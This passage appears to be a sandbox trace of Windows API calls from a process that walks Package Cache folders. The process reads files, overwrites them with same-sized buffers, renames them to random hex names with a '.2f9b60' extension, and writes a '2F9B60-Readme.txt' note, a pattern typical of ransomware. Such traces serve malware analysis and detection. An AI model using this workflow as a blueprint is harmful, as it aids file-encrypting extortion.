Size=0x20) returned 0x1ced78c0 [0091.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0091.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0091.541] NtQuerySystemTime (in: CurrentTime=0x1e4cfbe0 | out: CurrentTime=0x1e4cfbe0*=132462176973982000) returned 0x0 [0091.541] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x27d5c46 [0091.541] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x10697bcb [0091.541] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0xe0d685e [0091.541] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x5bbce482 [0091.541] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x6f5fad [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x39c299da [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x3eb1d9a4 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x10181738 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0xf6b218d [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x5c129602 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x41ccb0f0 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x7c1d2698 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x6a77a3d7 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x703150b7 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x6b17393 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x3b68efbe [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x4d5a16e [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x529f245f [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x2cece5b [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0xdbd2f2f [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x1c8852d6 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x4fceb84a [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x1c88db1c [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x331c627a [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x18c9f628 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x30cf710a [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x443bdae [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x3a3ebd91 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x1e35cb8d [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x63497704 [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x6895c85a [0091.542] RtlRandomEx (in: Seed=0x1e4cfbd0 | out: Seed=0x1e4cfbd0) returned 0x1c2bf261 [0091.549] ReadFile (in: hFile=0xdd4, lpBuffer=0x201b1d40, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x1e4cfbd0, lpOverlapped=0x0 | out: lpBuffer=0x201b1d40*, lpNumberOfBytesRead=0x1e4cfbd0*=0x28e, lpOverlapped=0x0) returned 1 [0091.549] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.549] WriteFile (in: hFile=0xdd4, lpBuffer=0x201b5950*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x1e4cfbd4, lpOverlapped=0x0 | out: lpBuffer=0x201b5950*, lpNumberOfBytesWritten=0x1e4cfbd4*=0x28e, lpOverlapped=0x0) returned 1 [0101.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a70d0 [0101.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a70a0 [0101.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a70a0) returned 1 [0101.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b5950) returned 1 [0101.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b1d40) returned 1 [0101.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb10) returned 1 [0101.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0101.565] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.565] WriteFile (in: hFile=0xdd4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1e4cfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x1e4cfcf0*=0x104, lpOverlapped=0x0) returned 1 [0101.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0101.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0101.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0101.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0101.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0101.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0101.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0101.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859550) returned 1 [0101.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0101.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0101.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859550 [0101.858] sprintf (in: _Dest=0x1b859550, _Format="%c%c" | out: _Dest="c9") returned 2 [0101.858] sprintf (in: _Dest=0x1b859552, _Format="%c%c" | out: _Dest="c1") returned 2 [0101.858] sprintf (in: _Dest=0x1b859554, _Format="%c%c" | out: _Dest="af") returned 2 [0101.858] sprintf (in: _Dest=0x1b859556, _Format="%c%c" | out: _Dest="6b") returned 2 [0101.858] sprintf (in: _Dest=0x1b859558, _Format="%c%c" | out: _Dest="84") returned 2 [0101.858] sprintf (in: _Dest=0x1b85955a, _Format="%c%c" | out: _Dest="dc") returned 2 [0101.858] sprintf (in: _Dest=0x1b85955c, _Format="%c%c" | out: _Dest="3e") returned 2 [0101.858] sprintf (in: _Dest=0x1b85955e, _Format="%c%c" | out: _Dest="fe") returned 2 [0101.858] sprintf (in: _Dest=0x1b859560, _Format="%c%c" | out: _Dest="bc") returned 2 [0101.858] sprintf (in: _Dest=0x1b859562, _Format="%c%c" | out: _Dest="87") returned 2 [0101.858] sprintf (in: _Dest=0x1b859564, _Format="%c%c" | out: _Dest="12") returned 2 [0101.858] sprintf (in: _Dest=0x1b859566, _Format="%c%c" | out: _Dest="e2") returned 2 [0101.858] sprintf (in: _Dest=0x1b859568, _Format="%c%c" | out: _Dest="c0") returned 2 [0101.858] sprintf (in: _Dest=0x1b85956a, _Format="%c%c" | out: _Dest="cc") returned 2 [0101.858] sprintf (in: _Dest=0x1b85956c, _Format="%c%c" | out: _Dest="73") returned 2 [0101.858] sprintf (in: _Dest=0x1b85956e, _Format="%c%c" | out: _Dest="d6") returned 2 [0101.859] sprintf (in: _Dest=0x1b859570, _Format="%c%c" | out: _Dest="6c") returned 2 [0101.859] sprintf (in: _Dest=0x1b859572, _Format="%c%c" | out: _Dest="dc") returned 2 [0101.859] RtlInitAnsiString (in: DestinationString=0x1e4cfd68, SourceString="c9c1af6b84dc3efebc8712e2c0cc73d66cdc" | out: DestinationString="c9c1af6b84dc3efebc8712e2c0cc73d66cdc") [0101.859] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e4cfd38, SourceString="c9c1af6b84dc3efebc8712e2c0cc73d66cdc", AllocateDestinationString=1 | out: DestinationString="c9c1af6b84dc3efebc8712e2c0cc73d66cdc") returned 0x0 [0101.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c130 [0101.859] wcscat (in: _Dest=0x108140, _Source="c9c1af6b8" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8" [0101.859] wcscat (in: _Dest=0x108140, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60" [0101.859] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60", NtPathName=0x1e4cfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119240 [0102.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0102.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d690) returned 1 [0102.291] NtQueryInformationFile (in: FileHandle=0xdd4, IoStatusBlock=0x1e4cfd78, FileInformation=0x1e4cfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e4cfd78, FileInformation=0x1e4cfd88) returned 0x0 [0102.291] NtSetInformationFile (FileHandle=0xdd4, IoStatusBlock=0x1e4cfd78, FileInformation=0x1e4cfd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0102.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 [0102.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c130) returned 1 [0102.760] FlushFileBuffers (hFile=0xdd4) returned 1 [0102.762] CloseHandle (hObject=0xdd4) returned 1 [0103.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20278d70 [0103.430] wcscpy (in: _Dest=0x20278d70, _Source="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0103.430] wcscat (in: _Dest=0x20278d70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\2F9B60-Readme.txt" [0103.430] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\2f9b60-readme.txt")) returned 0xffffffff [0103.430] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17b0 [0103.850] WriteFile (in: hFile=0x17b0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1e4cfc30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1e4cfc30*=0xba9, lpOverlapped=0x0) returned 1 [0104.350] CloseHandle (hObject=0x17b0) returned 1 [0104.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278d70) returned 1 [0104.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a62b0) returned 1 Thread: id = 474 os_tid = 0xe00 [0091.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1076c0 [0091.552] wcscpy (in: _Dest=0x1076c0, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0091.552] wcscat (in: _Dest=0x1076c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0091.552] wcscat (in: _Dest=0x1076c0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" [0091.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a2f0 [0091.552] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ddf0 [0091.552] wcscmp (_String1=".", _String2=".") returned 0 [0091.552] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.552] wcscmp (_String1="..", _String2=".") returned 1 [0091.552] wcscmp (_String1="..", _String2="..") returned 0 [0091.552] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0091.552] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0091.552] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0091.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b799430 [0091.552] wcscpy (in: _Dest=0x1b799430, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0091.553] wcscat (in: _Dest=0x1b799430, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0091.553] wcscat (in: _Dest=0x1b799430, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0096.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0 [0096.943] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.943] FindClose (in: hFindFile=0x1cd9ddf0 | out: hFindFile=0x1cd9ddf0) returned 1 [0096.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a2f0) returned 1 [0096.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1076c0) returned 1 [0096.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 Thread: id = 475 os_tid = 0xe24 [0091.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107780 [0091.553] wcscpy (in: _Dest=0x107780, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0091.554] wcscat (in: _Dest=0x107780, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0091.554] wcscat (in: _Dest=0x107780, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*" [0091.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a080 [0091.554] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9de50 [0091.578] wcscmp (_String1=".", _String2=".") returned 0 [0091.578] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.578] wcscmp (_String1="..", _String2=".") returned 1 [0091.578] wcscmp (_String1="..", _String2="..") returned 0 [0091.579] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0091.579] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0091.579] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0091.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799520 [0091.579] wcscpy (in: _Dest=0x1b799520, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0091.579] wcscat (in: _Dest=0x1b799520, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0091.579] wcscat (in: _Dest=0x1b799520, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0096.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8 [0096.945] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.945] FindClose (in: hFindFile=0x1cd9de50 | out: hFindFile=0x1cd9de50) returned 1 [0096.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a080) returned 1 [0096.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0096.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106d00) returned 1 Thread: id = 476 os_tid = 0xe40 [0091.581] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm")) returned 0x20 [0091.581] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x20) returned 1 [0091.581] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde0 [0091.582] GetFileSizeEx (in: hFile=0xde0, lpFileSize=0x20f7faa0 | out: lpFileSize=0x20f7faa0*=766) returned 1 [0091.582] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x2fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.582] ReadFile (in: hFile=0xde0, lpBuffer=0x20f7fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20f7fa68, lpOverlapped=0x0 | out: lpBuffer=0x20f7fa20*, lpNumberOfBytesRead=0x20f7fa68*=0x4, lpOverlapped=0x0) returned 1 [0091.584] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0091.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0091.584] NtQuerySystemTime (in: CurrentTime=0x20f7f960 | out: CurrentTime=0x20f7f960*=132462176974138000) returned 0x0 [0091.584] RtlRandomEx (in: Seed=0x20f7f950 | out: Seed=0x20f7f950) returned 0x62a95407 